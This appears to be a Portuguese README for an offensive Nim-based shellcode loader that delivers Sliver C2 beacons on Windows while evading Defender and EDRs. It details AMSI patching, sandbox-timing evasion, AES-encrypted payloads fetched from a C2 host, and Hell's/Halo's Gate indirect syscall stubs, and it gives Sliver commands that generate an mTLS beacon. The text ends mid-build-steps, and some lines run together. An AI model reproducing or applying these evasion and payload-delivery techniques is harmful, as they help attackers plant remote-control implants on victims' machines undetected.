
Ferramenta de criptografia baseada em Nim para ofuscar shellcode e payloads visando evadir o Windows Defender.
Um carregador de shellcode Sliver escrito em Nim direcionado ao Windows x64. Duas variantes cobrindo as duas situações de entrega mais comuns. Testado contra o Windows Defender com proteção em tempo real ativada.
Lê um blob de shellcode criptografado do disco, descriptografa-o na memória e faz auto-injeção. Use esta quando você já tem uma primitiva de queda de arquivo e quer um binário pequeno e simples.
loader.exe <shellcode.bin> [key_hex iv_hex]
Key e IV são opcionais. Se omitidos, o arquivo é tratado como shellcode bruto não criptografado.
Baixa o blob criptografado do seu C2 via HTTP usando a pilha WinHTTP do Windows, descriptografa-o na memória e faz auto-injeção. Nenhum arquivo toca o disco. Use esta quando você pode executar um binário no alvo mas não pode confiavelmente deixar cair um segundo arquivo.
Edite as constantes no topo de stageless/loader.nim antes de compilar:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.py
O carregador stageless chama Sleep(5000) na inicialização e mede o tempo real decorrido com GetTickCount64. Se menos de 4500ms passaram, o processo sai. A maioria dos ambientes automatizados de sandbox avançam rapidamente ou pulam os sleeps, fazendo a verificação falhar. Isso é executado antes de qualquer atividade de rede ou execução de shellcode, então sandboxes que inspecionam o comportamento de rede não veem nada.
amsi.nim faz patch em AmsiScanBuffer em tempo de execução usando duas camadas de ofuscação:
Ocultação de string via hashing FNV-1a. A string AmsiScanBuffer nunca aparece no binário. Em vez disso, seu hash FNV-1a é calculado em tempo de compilação e armazenado como uma constante. Em tempo de execução, o carregador percorre a tabela de exportação da amsi.dll, faz hash de cada nome de exportação e compara com o valor armazenado para encontrar o endereço da função sem nunca manter a string na memória.
Ofuscação XOR em tempo de compilação. Tanto o nome da DLL (amsi.dll) quanto os bytes do patch (xor eax, eax; ret = 31 C0 C3) são codificados com XOR em tempo de compilação usando uma chave aleatória gerada nova a cada build via um subprocesso Python. A chave é embutida como uma constante e os bytes são decodificados em tempo de execução imediatamente antes do uso. Os bytes brutos mudam a cada build, quebrando assinaturas estáticas na sequência do patch.
O patch sobrescreve os primeiros três bytes de AmsiScanBuffer com xor eax, eax; ret, fazendo cada chamada retornar AMSI_RESULT_CLEAN independentemente da entrada.
encrypt.py criptografa shellcode bruto com AES-256-CBC usando uma chave de 32 bytes gerada aleatoriamente e IV de 16 bytes. O carregador descriptografa in-place usando a API BCrypt do Windows, então nenhuma biblioteca de criptografia de terceiros é necessária no alvo.
A memória é alocada como PAGE_READWRITE, o shellcode é escrito nela, e então a região é alterada para PAGE_EXECUTE_READ antes da execução. Alocar diretamente como PAGE_EXECUTE_READWRITE é uma assinatura bem conhecida que o Defender e EDRs sinalizam explicitamente. Separar as fases de escrita e execução evita esse padrão.
stageless/syscalls.nim contorna tanto a camada da API Win32 (kernel32.dll) quanto quaisquer hooks de userland na ntdll.dll colocados por EDRs.
Resolução do SSN. Na inicialização, o carregador obtém o endereço base da ntdll e analisa sua tabela de exportação PE, coletando cada exportação Nt* ordenada por RVA. Para cada função NT que precisamos, ele verifica os primeiros quatro bytes:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) significa que o stub está limpo e o SSN é lido diretamente dos bytes 4-5. Isto é Hell's Gate.neighbor_SSN +/- distance. Os SSNs incrementam em um por stub em ordem de endereço. Isto é Halo's Gate.Localização do gadget. O carregador escaneia o primeiro stub Nt* limpo que encontra pela sequência de bytes 0F 05 C3 (syscall; ret). Isso dá um endereço dentro da seção .text da imagem da ntdll que podemos reutilizar.
Geração do stub. Para cada função necessária, um stub de 22 bytes é escrito em uma única página RW que é alterada para RX antes do uso:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
O jmp [rip+0] desreferencia os 8 bytes imediatamente seguintes (o endereço do gadget) e redireciona a execução para a sequência syscall; ret existente na ntdll. A instrução syscall dispara a partir do .text da ntdll, e não da nossa alocação anônima, derrotando qualquer rastreamento em nível de kernel de qual região de memória emitiu o syscall.
As quatro funções cobertas pelos syscalls indiretos são NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx e NtWaitForSingleObject.
Após a descriptografia, o carregador stageless aloca uma região RW em seu próprio processo via NtAllocateVirtualMemory, copia o shellcode com copyMem, altera a região para RX via NtProtectVirtualMemory e cria uma thread via NtCreateThreadEx. A thread principal então bloqueia indefinidamente em NtWaitForSingleObject, mantendo o processo vivo enquanto as goroutines do beacon executam. Todas as quatro chamadas passam pelos stubs de syscall indireta descritos acima.
A auto-injeção mantém a superfície de chamada mínima. Não há chamadas de API entre processos (WriteProcessMemory, CreateRemoteThread, etc.), que são os principais vetores de detecção para injeção remota clássica.
AmsiScanBuffer via FNV-1a, sobrescrever com xor eax, eax; retsyscall; ret, escrever stubsNtAllocateVirtualMemory no próprio processo (RW) via syscall indiretaNtProtectVirtualMemory para PAGE_EXECUTE_READ via syscall indiretaNtCreateThreadEx via syscall indiretaNtWaitForSingleObject no handle da thread via syscall indiretaVirtualAlloc (RW), copiar shellcode, VirtualProtect para RXNa sua máquina de build Linux:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
Edite stageless/loader.nim e defina c2Host, c2Port, c2Path, scKey, scIV, então a partir da raiz do projeto: